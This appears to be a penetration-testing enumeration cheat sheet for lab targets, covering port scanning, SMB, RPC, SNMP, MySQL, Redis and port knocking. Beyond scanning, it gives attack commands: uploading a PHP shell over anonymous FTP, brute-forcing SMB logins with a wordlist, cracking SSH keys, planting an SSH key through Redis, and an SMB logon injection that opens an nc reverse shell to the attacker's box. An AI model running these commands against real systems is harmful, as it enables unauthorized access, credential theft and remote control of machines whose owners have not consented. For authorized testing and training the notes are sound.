Enumeration

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Port Scanning :

nmap -sC -sV -o nmap -A -T5 10.10.10.x
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Host Discovery
β€’ nmap -sn 10.10.1.1-254 -vv -oA hosts
β€’ netdiscover -r 10.10.10.0/24
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DNS server discovery
β€’ nmap -p 53 10.10.10.1-254 -vv -oA dcs
NSE Scripts Scan
* nmap -sV --script=vulscan/vulscan.nse (https://securitytrails.com/blog/nmap-vulnerability-scan)
Port specific NSE script list :
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ls /usr/share/nmap/scripts/ssh*
ls /usr/share/nmap/scripts/smb*

Scanning all 65535 ports :

masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.x
​
Running specific NSE scripts :
nmap -Pn -sC -sV --script=vuln*.nse -p$ports 10.10.10.x -T5 -A

sC - default scripts, sV - scan for versions, oA- output all formats

Optional - sT (performs full scan instead of syn-scan to prevent getting flagged by firewalls)

From Apache Version to finding Ubuntu version -> ubuntu httpd versions

FTP : (Port 21)

  • anonymous login check

    • ftp <ip address>

    • username : anonymous

    • pwd : anonymous

    • file upload -> put shell.php

SSH : (Port 22)

id_rsa.pub : Public key that can be used in authorized_keys for login

id_rsa : Private key that is used for login. Might ask for password. can be cracked with ssh2john and john

  • id_rsa

  • ssh -i id_rsa [email protected]

  • For passwordless login, add id_rsa.pub to target's authorized_keys

  • ssh2john

DNS Zone transfer check : (Port 53)

RPC Bind (111)

rpcclient --user="" --command=enumprivs -N 10.10.10.10
rpcinfo –p 10.10.10.10
rpcbind -p 10.10.10.10

RPC (135)

rpcdump.py 10.11.1.121 -p 135
rpcdump.py 10.11.1.121 -p 135 | grep ncacn_np // get pipe names
​
rpcmap.py ncacn_ip_tcp:10.11.1.121[135]

SMB (139 & 445)

​https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html​

nmap --script smb-protocols 10.10.10.10
​
smbclient -L //10.10.10.10
smbclient -L //10.10.10.10 -N // No password (SMB Null session)
smbclient --no-pass -L 10.10.10.10
smbclient //10.10.10.10/share_name
​
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u '' -p ''
smbmap -H 10.10.10.10 -s share_name
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crackmapexec smb 10.10.10.10 -u '' -p '' --shares
crackmapexec smb 10.10.10.10 -u 'sa' -p '' --shares
crackmapexec smb 10.10.10.10 -u 'sa' -p 'sa' --shares
crackmapexec smb 10.10.10.10 -u '' -p '' --share share_name
​
enum4linux -a 10.10.10.10
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rpcclient -U "" 10.10.10.10
* enumdomusers
* enumdomgroups
* queryuser [rid]
* getdompwinfo
* getusrdompwinfo [rid]
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ncrack -u username -P rockyou.txt -T 5 10.10.10.10 -p smb -v
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mount -t cifs "//10.1.1.1/share/" /mnt/wins
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mount -t cifs "//10.1.1.1/share/" /mnt/wins -o vers=1.0,user=root,uid=0,gid=0
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SMB Shell to Reverse Shell :
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smbclient -U "username%password" //192.168.0.116/sharename
smb> logon β€œ/=nc β€˜attack box ip’ 4444 -e /bin/bash"
Checklist :
* Samba symlink directory traversal attack

SMB Exploits :

SNMP (161)

  • snmpwalk -c public -v1 10.0.0.0
    snmpcheck -t 192.168.1.X -c public
    onesixtyone -c names -i hosts
    nmap -sT -p 161 192.168.X.X -oG snmp_results.txt
    snmpenum -t 192.168.1.X

IRC (194,6667,6660-7000)

NFS (2049)

MYSQL (3306)

  • nmap -sV -Pn -vv 10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122

Redis (6379)

In the output of config get * you could find the home of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authenticated_users file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:

  1. Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa

  2. Write the public key to a file : (echo -e "\n\n"; cat ./.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt

  3. Import the file into redis : cat foo.txt | redis-cli -h 10.10.10.10 -x set crackit

  4. Save the public key to the authorized_keys file on redis server:

[email protected]:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /home/test/.ssh/
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK

Port Knocking :

TCP
knock -v 192.168.0.116 4 27391 159
​
UDP
knock -v 192.168.0.116 4 27391 159 -u
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TCP & UDP
knock -v 192.168.1.111 159:udp 27391:tcp 4:udp

Misc :

IF NOTHING WORKS